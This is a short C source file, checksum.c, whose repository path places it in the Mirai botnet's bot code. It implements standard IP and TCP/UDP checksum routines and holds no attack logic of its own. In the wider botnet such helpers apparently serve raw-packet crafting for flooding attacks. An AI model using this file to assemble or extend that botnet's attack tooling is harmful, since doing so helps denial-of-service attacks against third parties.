Mirai-Source-Code/mirai/bot/checksum.c

54 lines
1.0 KiB
C
Executable File

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <linux/ip.h>
#include "includes.h"
#include "checksum.h"
uint16_t checksum_generic(uint16_t *addr, uint32_t count)
{
register unsigned long sum = 0;
for (sum = 0; count > 1; count -= 2)
sum += *addr++;
if (count == 1)
sum += (char)*addr;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}
uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
{
const uint16_t *buf = buff;
uint32_t ip_src = iph->saddr;
uint32_t ip_dst = iph->daddr;
uint32_t sum = 0;
int length = len;
while (len > 1)
{
sum += *buf;
buf++;
len -= 2;
}
if (len == 1)
sum += *((uint8_t *) buf);
sum += (ip_src >> 16) & 0xFFFF;
sum += ip_src & 0xFFFF;
sum += (ip_dst >> 16) & 0xFFFF;
sum += ip_dst & 0xFFFF;
sum += htons(iph->protocol);
sum += data_len;
while (sum >> 16)
sum = (sum & 0xFFFF) + (sum >> 16);
return ((uint16_t) (~sum));
}